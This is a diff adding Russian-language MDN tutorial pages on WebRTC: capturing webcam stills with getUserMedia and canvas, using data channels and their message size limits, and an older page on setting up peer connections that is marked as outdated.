+<pre>  &lt;canvas id="canvas"&gt;
+  &lt;/canvas&gt;
+  &lt;div class="output"&gt;
+    &lt;img id="photo" alt="The screen capture will appear in this box."&gt;
+  &lt;/div&gt;</pre>
+
+<p>Вот и все, что касается HTML. Остальное - просто пух макета страницы и немного текста, предлагающего ссылку на эту страницу.</p>
+
+<h2 id="Код_JavaScript">Код JavaScript</h2>
+
+<p>Посмотрим на  <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/capture.js" rel="noopener">JavaScript code</a>. Разобъем его на части, для упрощения объяснения.</p>
+
+<h3 id="Инициализация">Инициализация</h3>
+
+<p>Начнем с обертки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные  переменные.</p>
+
+<pre>(function() {
+  var width = 320;    // Этим создадим ширину фотографии
+  var height = 0;    // Это будет вычисляться на основе входящего потока
+
+  var streaming = false;
+
+  var video = null;
+  var canvas = null;
+  var photo = null;
+  var startbutton = null;</pre>
+
+<p>Все переменные выше:</p>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>Какой бы не был размер входящего видео, мы намерены масштабировать результирующее изображение к ширине в 320 px.</dd>
+ <dt><code>height</code></dt>
+ <dd>Результирующая высота изображения будет вычисляться на основе переданной ширины и соотношению сторон потока с камеры.</dd>
+ <dt><code>streaming</code></dt>
+ <dd>Указывает на текущую активность видеопотока.</dd>
+ <dt><code>video</code></dt>
+ <dd>Будет содержать ссылку на элемент {{HTMLElement("video")}}  после загрузки страницы.</dd>
+ <dt><code>canvas</code></dt>
+ <dd>Содержит ссылку на элемент  {{HTMLElement("canvas")}} после загрузки страницы.</dd>
+ <dt><code>photo</code></dt>
+ <dd>Содержит ссылку на элемент  {{HTMLElement("img")}} после загрузки страницы.</dd>
+ <dt><code>startbutton</code></dt>
+ <dd>Содержит ссылку на элемент  {{HTMLElement("button")}} после загрузки страницы, используюется для старта захвата.</dd>
+</dl>
+
+<h3 id="Функция_startup">Функция  startup()</h3>
+
+<p>Функция <code>startup()</code> запускается, когда страница закончила загрузку, благодаря установке {{domxref("window.addEventListener()")}}. Работа функции состоит в том, что бы запросить доступ у пользователя к его камере, инициализировать элемент  {{HTMLElement("img")}} в значение по умолчанию, и установить обработчики событий, необходимых для получения каждого видеокадра с камеры, запускать захват изображения, при нажатии на кнопку.</p>
+
+<h4 id="Получаем_ссылки_на_элементы">Получаем ссылки на элементы</h4>
+
+<p>Сначала, получим ссылки на основные элементы, доступ к которым нам необходим.</p>
+
+<pre>  function startup() {
+    video = document.getElementById('video');
+    canvas = document.getElementById('canvas');
+    photo = document.getElementById('photo');
+    startbutton = document.getElementById('startbutton');</pre>
+
+<h4 id="Получаем_медиапоток">Получаем медиапоток </h4>
+
+<p>Следующая задача - получение медиапотока:</p>
+
+<pre>    navigator.mediaDevices.getUserMedia({ video: true, audio: false })
+    .then(function(stream) {
+        video.srcObject = stream;
+        video.play();
+    })
+    .catch(function(err) {
+        console.log("An error occurred: " + err);
+    });
+</pre>
+
+<p>Здесь мы вазываем метод  {{domxref("MediaDevices.getUserMedia()")}} , запрашивая медиапоток без аудиопотока (<code>audio : false</code>). Он возвращает промис, на котором мы определяем методы успешного и не успешного выполнений.</p>
+
+<p>Успешное выполнение промиса передает объект потока( <code>stream</code> ) в качестве параметра функции метода <code>then()</code>., который присваевается свойству <code>srcObject</code> элемента {{HTMLElement("video")}}, направляя поток в него.</p>
+
+<p>Как только поток связан с элементом <code>&lt;video&gt;</code> ,  запускаем его воспроизведение, вызовом метода <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code>.</p>
+
+<p>Метод обработки ошибки промиса  вызывается в случае, если получение потока окажется неудачным, к примеру, когда к устройству подключена несовместимая камера, или пользователь запретил к ней доступ.</p>
+
+<h4 id="Обработка_события_начала_воспроизведения">Обработка события начала воспроизведения</h4>
+
+<p>После момента вызова метода  <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code> на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента <code>video</code> , который сработает, когда элемент начнет воспроизведение видеопотока. В этот момент все свойства элемента <code>video</code> конфигурируются на основе формата потока.</p>
+
+<pre>    video.addEventListener('canplay', function(ev){
+      if (!streaming) {
+        height = video.videoHeight / (video.videoWidth/width);
+
+        video.setAttribute('width', width);
+        video.setAttribute('height', height);
+        canvas.setAttribute('width', width);
+        canvas.setAttribute('height', height);
+        streaming = true;
+      }
+    }, false);</pre>
+
+<p>Функциональность обработчика не будет запущена, если он запускается повторно. Это отслеживает переменная <code>streaming</code> , которая содержит значение  <code>false</code> при первом запуске обработчика.</p>
+
+<p>Если это действительно первый запуск, мы устанавливаем высоту видео на основе разницы в размере между фактическим размером видео - <code>video.videoWidth</code> и шириной, на которую мы собираемся его визуализировать - <code>width</code></p>
+
+<p>Наконец, свойства <code>width</code> и <code>height</code> элементов<code> video</code> и <code>canvas</code> устанавливаются так, чтобы соответствовать друг другу, вызывая метод {{domxref("Element.setAttribute()")}} на каждом из двух свойств каждого элемента, и, при необходимости, устанавливая ширину и высоту. Наконец, мы установили для  переменной <code>streaming</code> значение <code>true</code>, чтобы предотвратить случайное повторное выполнение этого установочного кода.</p>
+
+<h4 id="Обработка_нажатий_кнопки">Обработка нажатий кнопки</h4>
+
+<p>Для захвата кадра, пользователь каждый раз нажимает кнопку  <code>startbutton</code>, нужно добавить обработчик события кнопки, для его вызова при возникновении события  {{event("click")}} :</p>
+
+<pre>    startbutton.addEventListener('click', function(ev){
+      takepicture();
+      ev.preventDefault();
+    }, false);</pre>
+
+<p>Метод прост, он вызывает функцию  <code>takepicture()</code>, определяемую ниже в секции  {{anch("Capturing a frame from the stream")}}, затем вызывает метод {{domxref("Event.preventDefault()")}} на полученном объекте события, для предотвращения действия обработки события более одного раза.</p>
+
+<h4 id="Завершение_метода_startup">Завершение метода  startup() </h4>
+
+<p>Еще пара строк кода в методе <code>startup()</code>:</p>
+
+<pre>    clearphoto();
+  }</pre>
+
+<p>Вызов метода <code>clearphoto()</code> описывается в секции {{anch("Clearing the photo box")}}.</p>
+
+<h3 id="Отчистка_бокса_для_фотографии">Отчистка бокса для фотографии</h3>
+
+<p>Очистка бокса фотографии включает создание изображения, а затем преобразование его в формат, используемый элементом {{HTMLElement ("img")}}, который отображает последний снятый кадр. Код ниже:</p>
+
+<pre>  function clearphoto() {
+    var context = canvas.getContext('2d');
+    context.fillStyle = "#AAA";
+    context.fillRect(0, 0, canvas.width, canvas.height);
+
+    var data = canvas.toDataURL('image/png');
+    photo.setAttribute('src', data);
+  }</pre>
+
+<p>Начнем с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойсто <code>fillStyle</code> в  <code>#AAA</code> ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.</p>
+
+<p>Наконец, в этой функции мы конвертируем <code>canvas</code> в изображение PNG и вызываем метод <code>{{domxref("Element.setAttribute", "photo.setAttribute()")}}</code> отображая захваченный цветовой фон в элементе изображения (бокса для фотографии).</p>
+
+<h3 id="Захват_кадра_из_видеопотока">Захват кадра из видеопотока</h3>
+
+<p>Последняя функция, требующая определения и являющаяся основным смыслом всего примера - <code>takepicture()</code> , которая захватывает текущий видеокадр, конвертирует его в формат PNG, и отображает его в блоке отображения кадра. Код её ниже:</p>
+
+<pre>  function takepicture() {
+    var context = canvas.getContext('2d');
+    if (width &amp;&amp; height) {
+      canvas.width = width;
+      canvas.height = height;
+      context.drawImage(video, 0, 0, width, height);
+
+      var data = canvas.toDataURL('image/png');
+      photo.setAttribute('src', data);
+    } else {
+      clearphoto();
+    }
+  }</pre>
+
+<p>Как и в случае, когда нам нужно работать с содержимым <code>canvas</code>, мы начинаем с {{domxref("CanvasRenderingContext2D","2D drawing context")}}  для скрытого <code>canvas</code>.</p>
+
+<p>Затем, если ширина и высота не равны нулю (имеется в виду, что есть, по крайней мере, потенциально допустимые данные изображения), мы устанавливаем ширину и высоту <code>canvas</code>, чтобы они соответствовали ширине захваченного кадра, затем вызываем метод {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}} , что бы отрисовать текущий кадр видео в контексте <code>canvas</code>, заполнив весь холст изображением кадра.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Используется факт того, что интерфейс {{domxref("HTMLVideoElement")}} похож на интерфейс {{domxref("HTMLImageElement")}} для любых API , которые принимают <code>HTMLImageElement</code> в качестве параметра, с текущим кадром видео, представленным как содержимое изображения.</p>
+</div>
+
+<p>Как тоько  <code>canvas</code> будет содержать захваченное видео, конвертируем его в  PNG формат, вызывая метод {{domxref("HTMLCanvasElement.toDataURL()")}} на нем; наконец вызываем метод {{domxref("Element.setAttribute", "photo.setAttribute()")}} отображая захваченное изображение в элементе изображения (бокса фотографии).</p>
+
+<p>Если подходящее изображение не доступно (то есть, <code>width</code> и <code>height</code> равны  0), отчищаем содержимое элемента изображения, вызывая метод <code>clearphoto()</code>.</p>
+
+<h2 id="Приколы_с_фильтрами">Приколы с фильтрами</h2>
+
+<p>Поскольку мы снимаем изображения с веб-камеры пользователя, захватывая кадры из элемента {{HTMLElement("video")}} , можно легко применить фильтры и забавные эффекты к элементу <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">video</span></font>. Оказывается, любые CSS-фильтры, которые вы применяете к элементу с помощью свойства {{cssxref ("filter")}}, влияют на захваченную фотографию.Эти фильтры могут варьироваться от простых (делая изображение черно-белым) до экстремальных (размытие по Гауссу и вращение оттенка).</p>
+
+<p>Вы можете экспериментировать с этими эффектами, используя, например, инструмент разработчика FirefoxYou  <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Style_Editor">редактор стилей</a>; смотрим <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Редактирование с CSS фильтрами</a> о подробностях выполнения.</p>
+
+<h2 id="Использование_определенных_устройств">Использование определенных устройств</h2>
+
+<p>При необходимости вы можете ограничить набор разрешенных источников видео, определенным устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько <code>deviceId</code> в объекте  {{domxref("MediaTrackConstraints")}} , переданном в  {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="https://mdn-samples.mozilla.org/s/webrtc-capturestill">Пробуем пример</a></li>
+ <li><a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill">Примеры на Github</a></li>
+ <li>{{domxref("Navigator.mediaDevices.getUserMedia()")}}</li>
+ <li>{{SectionOnPage("/en-US/docs/Web/API/Canvas_API/Tutorial/Using_images","Использование изображений")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.drawImage()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webrtc_api/using_data_channels/index.html b/files/ru/web/api/webrtc_api/using_data_channels/index.html
new file mode 100644
index 0000000000..f8074830d4
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/using_data_channels/index.html
@@ -0,0 +1,94 @@
+---
+title: Использование каналов данных в WebRTC
+slug: Web/API/WebRTC_API/Using_data_channels
+translation_of: Web/API/WebRTC_API/Using_data_channels
+---
+<p>{{WebRTCSidebar}}{{draft}}</p>
+
+<p>Как только WebRTC соединение установлено, используя интерфейс {{domxref("RTCPeerConnection")}}, приложение в состоянии отправлять и получать медиаданные между двумя узлами в соединении. Но от WebRTC можно получить больше. В этом руководстве мы изучим то, как добавить канал данных в соединение, который будет использован для безопасной передачи произвольных данных (данных любого типа, в любом формате).</p>
+
+<div class="note">
+<p> Поскольку все компоненты WebRTC требуют использования кодирования, любые данные, передаваемые через <code>RTCDataChannel</code> автоматически защищаются, используя Datagram Transport Layer Security (<strong>DTLS</strong>). Смотри {{anch("Security")}}  ниже для подробной информации.</p>
+</div>
+
+<h2 id="Создание_канала_данных">Создание канала данных</h2>
+
+<p>Основной транспорт передачи данных, использующийся объектом типа {{domxref("RTCDataChannel")}} может быть создан двумя способами:</p>
+
+<ul>
+ <li>Позволить WebRTC создать транспорт и сообщить об этом удаленному узлу (вызвав у него событие типа  {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.</li>
+ <li>Написать свои скрипты по согласованию транспорта данных, и сигнализированию другому узлу о необходимости присоединения к новому каналу данных.</li>
+</ul>
+
+<p>Разберем оба случая, начиная с первого, как с наиболее распространенного.</p>
+
+<h3 id="Автоматический_режим_согласования">Автоматический режим согласования</h3>
+
+<p>Зачастую, разработчик может позволить объекту соединения обработать согласование  {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением <code>false</code>. Это автоматически активирует <code>RTCPeerConnection</code> на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удаленного узла, связывая два узла вместе по сети.</p>
+
+<p>Вызов метода <code>createDataChannel()</code> немедленно возвращает объект типа <code>RTCDataChannel</code>. Подписываясь на событие  {{domxref("RTCDataChannel.open_event", "open")}} , можно будет точно определить когда соединение успешно откроется.</p>
+
+<pre class="brush: js">let dataChannel = pc.createDataChannel("MyApp Channel");
+
+dataChannel.addEventListener("open", (event) =&gt; {
+  beginTransmission(dataChannel);
+});
+</pre>
+
+<h3 id="Ручной_режим_согласования">Ручной режим согласования</h3>
+
+<p>Для ручного согласования соединения, сначала необходимо создать новый объект типа {{domxref("RTCDataChannel")}}, используя метод  {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} объекта {{domxref("RTCPeerConnection")}}, определяя свойство  {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} в значение <code>true</code>. Это сигнализирует объекту соединения не пытыться согласовать соединение автоматически.</p>
+
+<p>Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удаленному узлу, что нужно создать собственный объект типа <code>RTCDataChannel</code> со свойством  <code>negotiated</code>, установленным в значение  <code>true</code>, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа  <code>RTCDataChannel </code>через объет типа <code>RTCPeerConnection</code>.</p>
+
+<pre class="brush: js">let dataChannel = pc.createDataChannel("MyApp Channel", {
+  negotiated: true
+});
+
+dataChannel.addEventListener("open", (event) =&gt; {
+  beginTransmission(dataChannel);
+});
+
+requestRemoteChannel(dataChannel.id);</pre>
+
+<p>В данном примере канал создается установкой значения свойства <code>negotiated</code> в <code>true</code>, затем вызывается функция  <code>requestRemoteChannel()</code> , запуская согласование соединения для создания удаленного канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, использьзуя одно и тоже значение идентификатора канала  <code>id</code>.</p>
+
+<h2 id="Буферизация">Буферизация</h2>
+
+<p>Каналы данных WebRTC поддерживают буферизацию исходящих данных. Это работает автоматически. Несмотря на то, что нет способа контролировать размер буфера, вы можете узнать, сколько данных в настоящее время буферизуется, и вы можете выбрать уведомление о событии, когда в буфере начинают заканчиваться данные в очереди. Это облегчает написание эффективных подпрограмм, которые гарантируют, что всегда есть данные, готовые к отправке, без чрезмерного использования памяти или полного переполнения канала. </p>
+
+<p><strong>&lt;&lt;&lt;write more about using bufferedAmount, bufferedAmountLowThreshold, onbufferedamountlow, and bufferedamountlow here&gt;&gt;&gt;</strong></p>
+
+<p>...</p>
+
+<h2 id="Ограничения_размеров_сообщений">Ограничения размеров сообщений</h2>
+
+<p>Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определенного значения (точное число зависит от сети и используемого транспортного уровня).  На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.</p>
+
+<p>Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку <code>usrsctp</code> для реализации SCTP, но все еще существуют ситуации, в которых передача данных по <code>RTCDataChannel</code> каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.</p>
+
+<p>Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершенными, и доставит их получающему <code>RTCDataChannel</code> каналу в виде нескольких сообщений</p>
+
+<p>Сообщения размером менее 16 КБ могут отправляться без проблем, поскольку все основные пользовательские агенты обрабатывают их одинаково.</p>
+
+<h3 id="Проблемы_с_большими_сообщениями">Проблемы с большими сообщениями</h3>
+
+<p>В настоящее время нецелесообразно использовать <code>RTCDataChannel </code>для сообщений размером более 64 КБ (16 КБ, если вы хотите поддерживать кросс-браузерный обмен данными). Проблема возникает из-за того факта, что SCTP - протокол, используемый для отправки и получения данных по <code>RTCDataChannel</code> - изначально был разработан для использования в качестве протокола сигнализации. Ожидалось, что сообщения будут относительно небольшими. Поддержка сообщений, превышающих размер сетевого уровня {{interwiki ("wikipedia", "Maximum unit unit", "MTU")}}, была добавлена ​​ в качестве запоздалой мысли, в случае, если сигнальные сообщения должны были быть больше, чем MTU. Эта функция требует, чтобы каждый фрагмент сообщения имел последовательные порядковые номера, поэтому они должны передаваться один за другим, без каких-либо других данных, чередующихся между ними.</p>
+
+<p>В конечном итоге это стало проблемой. Со временем различные приложения (в том числе внедряющие WebRTC) начали использовать SCTP для передачи больших и больших сообщений. В конце концов стало ясно, что когда сообщения становятся слишком большими, передача большого сообщения может блокировать все другие передачи данных в этом канале данных, включая критические сообщения сигнализации.</p>
+
+<p>Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но еще не реализовано в Chrome (см. <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a>). С поддержкой EOR полезная нагрузка <code>RTCDataChannel</code> может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.</p>
+
+<p>Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">предложение</a> все еще находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.</p>
+
+<p>Поддержка Firefox для ndata находится в процессе реализации. <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Команда Chrome отслеживает реализацию поддержки ndata в</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span><a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=5696" style="font-size: 1rem; letter-spacing: -0.00278rem;">Chrome Bug 5696</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></p>
+
+<div class="originaldocinfo">
+<p>Большая часть информации в этом разделе частично основана на блоге <a href="https://lgrahl.de/articles/demystifying-webrtc-dc-size-limit.html">Demystifyijng WebRTC's Data Channel Message Size Limitations</a>, написанный Леннартом Гралем. Там он немного подробнее рассказывает, но поскольку браузеры были обновлены с тех пор, некоторые посты могут быть устаревшими. Кроме того, со временем поддержки будет становиться все больше, особенно после того, как EOR и поддержка ndata будут полностью интегрированы в основные браузеры.</p>
+</div>
+
+<h2 id="Безопасность">Безопасность</h2>
+
+<p>Все данные, переданные с помощью WebRTC, зашифрованы на основе <a href="/en-US/docs/Web/Security/Transport_Layer_Security">Transport Layer Security</a> (TLS). Поскольку TLS используется для защиты каждого HTTPS-соединения, любые данные, которые вы отправляете по каналу данных, так же безопасны, как и любые другие данные, отправляемые или получаемые браузером пользователя. </p>
+
+<p>Поскольку WebRTC является одноранговым соединением между двумя пользовательскими агентами, данные никогда не проходят через веб-сервер или сервер приложений, что снижает возможность перехвата данных.</p>
diff --git a/files/ru/web/api/webrtc_api/webrtc_basics/index.html b/files/ru/web/api/webrtc_api/webrtc_basics/index.html
new file mode 100644
index 0000000000..d1a5b5bb61
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/webrtc_basics/index.html
@@ -0,0 +1,350 @@
+---
+title: Основы WebRTC
+slug: Web/API/WebRTC_API/WebRTC_basics
+translation_of: Web/API/WebRTC_API/Signaling_and_video_calling
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>{{Draft}}</p>
+
+<div class="summary">
+<p>После того, как вы понимаете <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Architecture" title="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_architecture">WebRTC architecture</a>, вы можете прочитать эту статью, которая сопроводит вас через создание кросс-браузерного RTC приложения. К концу этой документации, вы должны иметь рабочие каналы соединения равноправных узлов ЛВС и передачи данных средств массовой информации.</p>
+</div>
+
+<h2 id="Полу-старое_содержание_из">Полу-старое содержание, из</h2>
+
+<h2 id="RTCPeerConnection">RTCPeerConnection</h2>
+
+<p>Материал здесь происходит от RTCPeerConnection; она может остаться здесь, или же  может переместится в другое место.</p>
+
+<p><strong>Основы использования</strong><br>
+ Базовое использование RTCPeerConnection предполагает переговоры связь между локальной машиной и удаленной машиной один генерируя Session Description Protocol для обмена между ними. Вызывающая программа начинает процесс, отправив предложение на удаленное устройство, которое реагирует либо принять или отклонить запрос на соединение.</p>
+
+<p>Обе стороны (вызывающий и вызываемый абонент) необходимо настроить свои собственные экземпляры RTCPeerConnection, чтобы представить их конец соединения равноправных узлов ЛВС:</p>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+pc.onaddstream = function(obj) {
+  var vid = document.createElement("video");
+  document.appendChild(vid);
+  vid.srcObject = obj.stream;
+}
+
+// функция помощник
+function endCall() {
+  var videos = document.getElementsByTagName("video");
+  for (var i = 0; i &lt; videos.length; i++) {
+    videos[i].pause();
+  }
+
+  pc.<a href="#close()">close</a>();
+
+
+function error(err) {
+  endCall();
+}
+</pre>
+
+<h3 id="При_инициализации_вызова">При инициализации вызова</h3>
+
+<p>Если вы один инициирующий вызов, вы будете использовать navigator.getUserMedia(), чтобы получить видеопоток, а затем добавить поток в RTCPeerConnection. Как только это было сделано, вызов RTCPeerConnection, чтобы создать предложение, настроить предложение, а затем отправить его на сервер, через  соединение которое было создано.</p>
+
+<pre class="brush: js notranslate">// Получить список людей с сервера
+// Пользователь выбирает список людей, чтобы установить соединение с нужным человеком
+navigator.getUserMedia({video: true}, function(stream) {
+  // Добавление локального потока не вызовет onaddstream обратного вызова,
+  // так называют его вручную.
+  pc.onaddstream = e =&gt; video.src = URL.createObjectURL(e.stream);
+  pc.<a href="#addStream()">addStream</a>(stream);
+
+  pc.<a href="#createOffer()">createOffer</a>(function(offer) {
+    pc.<a href="#setLocalDescription()">setLocalDescription</a>(offer, function() {
+      // send the offer to a server to be forwarded to the friend you're calling.
+    }, error);
+  }, error);
+});
+</pre>
+
+<h3 id="Ответ_на_вызов">Ответ на вызов</h3>
+
+<p>На противоположном конце, друг получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение прибывает, {{domxref ("navigator.getUserMedia ()")}} вновь используется для создания потока, который добавляется к RTCPeerConnection. {{Domxref ("RTCSessionDescription")}} объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p>
+
+<p>Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.</p>
+
+<pre class="brush: js notranslate">var offer = getOfferFromFriend();
+navigator.getUserMedia({video: true}, function(stream) {
+  pc.onaddstream = e =&gt; video.src = URL.createObjectURL(e.stream);
+  pc.<a href="#addStream()">addStream</a>(stream);
+
+  pc.setRemoteDescription(new <span class="nx">RTCSessionDescription</span>(offer), function() {
+    pc.<a href="#createAnswer()">createAnswer</a>(function(answer) {
+      pc.<a href="#setLocalDescription()">setLocalDescription</a>(answer, function() {
+        // send the answer to a server to be forwarded back to the caller (you)
+      }, error);
+    }, error);
+  }, error);
+});
+</pre>
+
+<p><strong>Ответ на вызов</strong></p>
+
+<p>На противоположном конце, человек получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение принято, navigator.getUserMedia () вновь используется для создания потока, который добавляется к RTCPeerConnection.  объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p>
+
+<p>Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.</p>
+
+<pre class="brush: js notranslate">// ПК был создан раньше, когда мы сделали первоначальное предложение
+var offer = getResponseFromFriend();
+pc.<a href="#createAnswer()">setRemoteDescription</a>(new <span class="nx">RTCSessionDescription</span>(offer), function() { }, error);</pre>
+
+<h2 id="Old_content_follows!">Old content follows!</h2>
+
+<p>Все, что находится ниже этого пункта,  потенциально устарело. Это по-прежнему находится в стадии рассмотрения  и возможного включения в другие части документации, если они все еще актуальны.</p>
+
+<div class="note">
+<p><strong>Не используйте примеры на этой странице.</strong> Смотрите статью <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> для работы, актуальный пример с использованием WebRTC media.</p>
+</div>
+
+<h3 id="Note">Note</h3>
+
+<p>Due to recent changes in the API there are many old examples that require fixing:</p>
+
+<ul>
+ <li><a href="http://louisstow.github.io/WebRTC/media.html">louisstow</a></li>
+ <li><a href="http://mozilla.github.io/webrtc-landing/">mozilla</a></li>
+ <li><a href="https://www.webrtc-experiment.com/">webrtc-experiment</a></li>
+</ul>
+
+<p>The currently working example is:</p>
+
+<ul>
+ <li><a href="https://apprtc.appspot.com">apprtc</a> (<a href="https://github.com/webrtc/apprtc">source</a>)</li>
+</ul>
+
+<p>Implementation may be inferred from the <a href="http://w3c.github.io/webrtc-pc/">specification</a>.</p>
+
+<p>This remainder of this page contains outdated information as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1119285">noted on bugzilla</a>.</p>
+
+<h3 id="Shims">Shims</h3>
+
+<p>As you can imagine, with such an early API, you must use the browser prefixes and shim it to a common variable.</p>
+
+<pre class="brush: js notranslate">var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
+var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
+navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;</pre>
+
+<h3 id="RTCPeerConnection_2">RTCPeerConnection</h3>
+
+<p>This is the starting point to creating a connection with a peer. It accepts configuration options about ICE servers to use to establish a connection.</p>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection(configuration);</pre>
+
+<h3 id="RTCConfiguration"><strong><code>RTCConfiguration</code></strong></h3>
+
+<p>The {{domxref("RTCConfiguration")}} object contains information about which TURN and/or STUN servers to use for ICE. This is required to ensure most users can actually create a connection by avoiding restrictions in NAT and firewalls.</p>
+
+<pre class="brush: js notranslate">var configuration = {
+    iceServers: [
+        {urls: "stun:23.21.150.121"},
+        {urls: "stun:stun.l.google.com:19302"},
+        {urls: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
+    ]
+}</pre>
+
+<p>Google runs a <a href="https://code.google.com/p/natvpn/source/browse/trunk/stun_server_list">public STUN server</a> that we can use. I also created an account at http://numb.viagenie.ca/ for a free TURN server to access. You may want to do the same and replace with your own credentials.</p>
+
+<h3 id="ICECandidate">ICECandidate</h3>
+
+
+
+<p>After creating the PeerConnection and passing in the available <a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_architecture#What_is_STUN.3F">STUN</a> and <a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_architecture#What_is_TURN.3F">TURN</a> servers, an event will be fired once the ICE framework has found some “candidates” that will allow you to connect with a peer. This is known as an ICE Candidate and will execute a callback function on <a href="/en-US/docs/Web/API/RTCPeerConnection.onicecandidate">PeerConnection#onicecandidate</a>.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.onicecandidate = function (e) {
+    // candidate exists in e.candidate
+    if (!e.candidate) return;
+    send("icecandidate", JSON.stringify(e.candidate));
+};</pre>
+
